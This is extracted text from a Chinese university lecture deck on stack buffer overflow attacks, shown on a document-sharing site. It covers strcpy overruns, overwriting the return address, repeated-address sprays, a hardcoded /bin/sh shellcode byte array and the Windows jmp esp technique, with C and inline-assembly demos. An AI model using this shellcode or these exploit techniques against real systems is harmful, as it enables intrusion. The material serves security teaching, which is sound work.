信息对抗技术-溢出攻击.ppt
《信息对抗技术-溢出攻击.ppt》由会员分享,可在线阅读,更多相关《信息对抗技术-溢出攻击.ppt(188页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、信息对抗技术信息对抗技术韩 宏 缓冲区溢出攻击 什么是缓冲区溢出攻击n网络中占60%-70%的攻击是缓冲区溢出攻击。n攻击的目的是什么?获得系统的控制权限。而不是破坏。基本攻击方式n通过向有漏洞的程序发送特别数据,使得程序将这段特别数据当作代码并跳转过去运行。而这段被当作的代码,可以和攻击者交互,从而实现了对被攻击机器的控制。如何控制别人的程序流向n怎样使程序跳转到指定的代码呢?有以下三种方式:jmp 地址;call 地址;ret;n如果要想程序跳转到攻击者给定的内存执行,需要有对应的代码执行这个跳转过程。比如 jmp 0 x1234;就将程序跳转到0 x1234地址运行。但被攻击的程序中不可
2、能存在这样的语句跳转到攻击者指定的位置。同理,call 0 x1234这种也不行。只剩下ret了。n请回忆前边反汇编基础部分讲解的ret指令的用处和工作过程 这个ret进行了如下操作:将返回地址从栈顶中弹出,并放入EIP寄存器,使得程序下一步执行EIP指向的地址。也就是说,ret将使程序执行栈顶保存的那个地址|-参数2-|0 x0012ff84|-参数1-|0 x0012ff80|-返回地址-|0 x0012ff7c|-保留原来的ebp-|0 x0012ff78|-局部变量1-|0 x0012ff74|-局部变量2-|0 x0012ff70如果能修改栈上保存的返回地址的值,将它指向我们希望跳转
3、的位置,不就可以了吗我们来尝试修改ret地址nprocedure Func1();nbeginnend;nprocedure TForm1.Button1Click(Sender:TObject);nbeginn Func1();nend;nprocedure Func1();nbeginnend;n的end处打断点,然后执行到此处。到esp指向的内存0 x12f3e4,该地址指向的是0 x44dbb5地址,即返回地址好,我们修改这个地址中存的地址n修改后,执行一个单步动作,执行ret指令,代码窗口指向了0 x11111地址n正常的代码中不可能有这样的修改语句存在,但在一些特定的条件下,可能修
4、改那个保存的地址。n 请回忆C语言中的strcpy,以及str作为前缀的函数有什么限制条件。nStr系列的函数要求空字符结尾,也就是0这个byte值结尾。nStrcpy会分析从源地址开始的每一个字节看是否是0,如果是表示源字符串已经结束,否则会一直拷贝下去。它并不关心目标地址是否有足够的空间保存被复制的内容。以下是一个strcpy的示意实现strcpy(char*des,char*src)char*cursrc,curdes;cursrc=src;curdes=des;while(*cursrc!=0)*des=*src;src+;des+;该实现中没有也无法判定目标地址指向的内存是否有足够的
5、空间存放被复制的内容。以下是strcpy的一般用法Char buf100;.Strcpy(buf,src);.请注意,这个buf的大小,是程序员估计出来的比正常使用还多的空间。n如果src的字符串长度大于buf,strcpy并不会在100处停止复制,而是会继续往后复制。那这时拷贝的内容就会依次覆盖后边的内容DesBuf复制前的目标和源地址的状况SrcBufDesBufSrcBuf复制后的目标和源地址的状况n如果前图中多余的复制的那部分蓝色的部分正好存放的是ret的返回地址,那么我们就可以改变程序的流向了!n而这只需要在给strcpy的源地址的内容(0字符前的部分)长度大于目标缓存预先分配的地址
6、。n这里一个关键是,需要保存ret地址的内存紧接在目标缓存的后面,可能吗?我们需要分析反汇编基础中对一个函数调用过程的分析了。首先,函数的局部变量和函数的返回地址都是保存在栈上,因此他们具备了相互比邻的可能。后图中,return address保存在比局部变量sum高8个字节的地方,很容易被strcpy拷贝的过长部分覆盖下面是一段c语言函数int Add(int x,int y)int sum;sum=x+y;return sum;Void main()int z;z=Add(1,2);printf(z=%dn,z);21Return addressPush 2;Push 1;Call.ebp
7、Push ebp局部变量存储区int sum高地址低地址栈的布局n请观察一下代码和其对应的栈布局Void func(char*src)char buf10;strcpy(buf,src);srcReturn addressebp高地址低地址这部分是哪个变量n请观察一下代码和其n对应的栈布局nVoid func(char*src)nn char buf10;n strcpy(buf,src);nsrcReturn addressebp高地址低地址字节Buf0在上方还是buf9在上方?Bufn请观察一下代码和其n对应的栈布局nVoid func(char*src)nn char buf10;n s
8、trcpy(buf,src);nsrcReturn addressebp高地址低地址Buf9.Buf0Strcpy拷贝的方向呢?先拷贝src0还是src9srcReturn addressebp高地址低地址Buf9.Buf0Strcpy拷贝的方向nstrcpy(char*des,char*src)nchar*cursrc,curdes;ncursrc=src;curdes=des;n while(*cursrc!=0)n *des=*src;n src+;des+;nn也就是说,strcpy多余拷贝的部分将覆盖保存ebp,return address的内存n当调用strcpy的函数返回时,程序
9、就会跳转到覆盖后指向的那个地址!n我们写一个程序来证明这个想法。n#include n#include nvoid func(char*src)nnchar buf4;nstrcpy(buf,src);nnchar gbuf13=111111111111;nvoid main()nnvoid*p;n _asmnn push ebp;nmov p,offset aa;nn*(void*)(gbuf+8)=p;nfunc(gbuf);n printf(hello,never executen);ngoto end;naa:n_asm add esp,4;n _asm pop ebp;nprintf
10、(new pathn);nend:n printf(endn);nn注意该结果表明程序并没有执行正常调用func之后的printf语句。而是执行了正常情况下根本不会运行的语句n该程序在vc6.0下编译,注意,在选择工程选项时,使用release版本,同时修正一个选项,将缺省得优化方式去掉,换成不优化,同时在link选项页中选择产生generate debug info。然后在c+选项页中选择debug info为program database就可以在集成环境下跟踪调试了n前面的程序有一个关键所在*(void*)(gbuf+8)=p;它将P指向的地址放入gbuf的最后四个字节。这里有两个必须精
11、确定位的参数 1.离gbuf首部的偏移,gbuf+8,这个8必须确定,多于和少于8都不对,因为我知道func的buf大小为4加上它申明为第一个局部变量。2.p 指向的是要转跳的地址,我们现在是用mov p,offset aa;获得的。但攻击者如何知晓这两个参数呢?n拿第一个参数讲,如果func中在buf局部变量前多申明一个整数变量i,gbuf+8 就不对了,因为i在比buf地址高的地方。void func(char*src)char buf4;strcpy(buf,src);void func(char*src)int i;char buf4;strcpy(buf,src);srcReturn
12、 addressebpBuf3.Buf0srcReturn addressebpBuf3.Buf0in攻击者难以精确定位这些参数,那么该怎么做呢?n我们先放下这个问题,来思考攻击者如何利用这个方式来攻击。利用overflow攻击n从前面看,修改返回地址是通过故意超出缓冲区大小的复制行为完成,因此相关的攻击为缓冲区溢出攻击。n我们可以设想有一个服务器,他存在如下代码:/receive data from client.strcpy(desBuf,dataReceived);.而dataReceived是一个黑客发送的数据,他故意让其长度大于desBuf的长度,并精心构建,让dataReceive
13、d发送的数据包含一段代码,并且使得被覆盖的返回地址指向该段代码。srcReturn addressebpdesBuf黑客自己构造的codeNew Return addressdataReceived这些数据被strcpy拷贝到栈上,而New returnAddress 将覆盖原来的地址拷贝前内存的布局srcNew Return addresscode黑客自己构造的codeNew Return addressdataReceived这些数据被strcpy拷贝到栈上,而New returnAddress 将覆盖原来的地址拷贝后内存的布局新返回地址正好指向code的开始处自己生成代码n什么是代码呢?
14、就是一堆0/1组成的数据,如果将指令寄存器eip指向这堆数据的起始,cpu就将它视为指令进行解释。例如:int I;/global i=12;这条语句的代码为(在 intel86):c705504c45000c00/mov gi$0000000c这些代码被地址指针访问,如在图a中00454c50 指向0 x0000000c。图b中表明了内存中代码的情况 0c00000000454c50hData segmenta)004522c6hC705504c45000c00code segmentb)硬编码方式n有了这个概念后,我们只需要申明一个字符数组,然后将代码对应的字节拷贝进去就可以了。char
15、code128;然后将每个字节对应的内容放入code数组就可以了。一般黑客会这样构造code数组,从汇编语言生成的机器码中得到数据,然后直接写到code中。nchar shellcode=xebx1fx5ex89x76x08x31xc0 x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0cxcdx80 x31xdbx89xd8x40 xcd x80 xe8xdcxffxffxff/bin/sh;如果写复杂的code,这样做很费精力,且容易出错。更加自由的代码生成方式n这是我自己摸索的一种方法。就是利用label标定出一段嵌入汇编代码的起始和结束地
16、址,然后将他拷贝出来即可。非常好用,可以直接嵌入高级语言中工作。下面给出示例void*getCode()char*codeStart,*codeEnd;int codeLen;void*code;_asm mov codeStart,offset _startCode;mov codeEnd,offset _endCode;codeLen=codeEnd-codeStart;code =malloc(codeLen);memcpy(code,codeStart,codeLen);return code;/the following code never run._startCode:_asmm
17、ov gi,23;jmp retAddr;_endCode:return;void main()void*code;_asm mov retAddr,offset _retAddr;gi =12;printf(gi is%dn,gi);code=getCode();_asm jmp code;_retAddr:printf(gi is%dn,gi);free(code);从结果看,通过jmp code程序执行了我们自己生成的代码将gi设定为了23Shellcode攻击代码n如同前边,我们自己生成的攻击代码拷贝被称为shellcode。因为一般我们将在被攻击机器上得到一个远程的shell,用以控
18、制对方.让shellcode执行的两个关键n回顾前面提及的两个问题,我们必须决定两个关键参数 才能将cpu的控制指向我们放在数据中的大段shellcode.n第一个问题是如何确定保存返回地址的内存的地址,因为我们想覆盖他。n第二个是如何知道新的返回地址?srcold Return addresscode黑客自己构造的codeNew Return address这个距离这个距离是多大是多大前面提到过,这个距离和局部变量申明的个数顺序等相关。覆盖地址的确定n解决办法 在构造的数据中最后部分是多个连续的新返回地址,这样总有一个会覆盖到正确的保存返回地址的内存srcold Return address
19、codeNew return address黑客自己构造的codeNew Return addressNew returnaddressn请察看后面的示例代码,这是来自经典文章smashing the stack for fun and profit 的代码 ptr=buff;addr_ptr=(long*)ptr;for(i=0;i bsize;i+=4)*(addr_ptr+)=addr;n这里,addr是将要返回的地址,循环语句将这个地址连续复制到整个 buff中,要注意的是,stack是以4为单位增加的,所以可以这样做。Shell code|addr|addr|addr|addr连续存
20、放返回地址的问题n我们现在将从前的代码修改为连续方式void main()void*p;_asmmov p,offset aa;*(void*)(gbuf+8)=p;func(gbuf);printf(hello,never executen);goto end;aa:_asm add esp,4;printf(new pathn);end:printf(endn);void main()int i;void*p;void*pp;pp=(void*)gbuf;_asmmov p,offset aa;for(i=0;i 3;i+)*pp=p;pp+;func(gbuf);printf(hello
21、,never executen);goto end;aa:_asm add esp,4;printf(new pathn);end:printf(endn);n我们发现,并不能正确执行我们希望的结果。哪里出了问题呢?用debug分析代码nSrc指向的是0 x00407030;Buf指向的是0 x0012ff58.n0 x00407030是被复制的源地址,其内容是请问通过strcpy拷贝后,buf指向的内存中的内容是什么?是76 10 40 00 76 10 40 00 76 10 40 00 么?6:void func(char*src)7:8:char buf4;9:strcpy(buf,s
22、rc);10:00407030 76 10 40 00 76 10 40 00 76 10 40 00 00 00 00 00 v.v.v.00407040 68 65 6C 6C 6F 2C 20 6E 65 76 65 72 20 65 78 65 hello,never exen我们先来看strcpy拷贝前buf指向内存的内容,而蓝色部分就是存放return地址的地方,我们就是希望改写这个蓝色的值,用src当中的值 0 x00401076,在内存中是76 10 40 000012FF58 38 70 40 00 80 FF 12 00 64 10 40 00 30 70 40 00001
23、2FF68 00 00 00 00 00 00 00 00 00 F0 FD 7F 03 00 00 000012FF58 76 10 40 00 80 FF 12 00 64 10 40 00 30 70 40 00 n下面是拷贝后的状况,只有头四个字节别改成了76 10 40 00 后面的没有变化,也就是说那个返回值64 10 40 00 没有被修改掉 n这和我们的预计相反,原因很简单,strcpy是遇到0就结束拷贝,而我们的源地址src指向的内存中存储了76 10 40 00当遇到00时停止拷贝,那将不会发生缓冲区溢出!n也就是说,如果新的返回地址,也就是shellcode的起始地址值中
24、包含0就会导致strcpy提前结束拷贝,阻止了溢出。n因为shellcode将拷贝到栈上,而linux系统中应用程序栈在高端地址,组成地址的四个字节中没有0,比如0 x663412cd,那么,由这个值连续组成的buffer中是不会出现0的,因而这个buffer作为strcpy拷贝的源地址是不会提前结束拷贝的,可以保证缓冲区溢出的按期发生。n在windows上,不幸的是这个栈起始地址很低,0 x00130000,所以无法保证没有00字节出现这个要求,而且多线程的特性,有使得这个值变化不定,更不可能事先计算出来。覆盖地址的确定-windows版本n多线程方式以及栈在低端地址使得,老的linux方式
25、的trick无法使用。下面的方法来自Dildog的The Tao of windows buffer overflow.n如果我们将shellcode存放在栈上存储返回地址的后面,然后将老的返回地址指向jmp esp,call esp这样类似的代码处就可以完成工作。shellcode0 xff123451Jmp esp0 xff123451n函数返回时将返回到0 xff123451.而这时,esp正好是虚线指向的地址,即shellcode的开始地址,然后执行jmp esp,则可以执行shellcode了。n寻找jmp esp类似代码(1)有一个调试器叫ollyDbg,有一个插件叫ollyUni
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 信息 对抗 技术 溢出 攻击
限制150内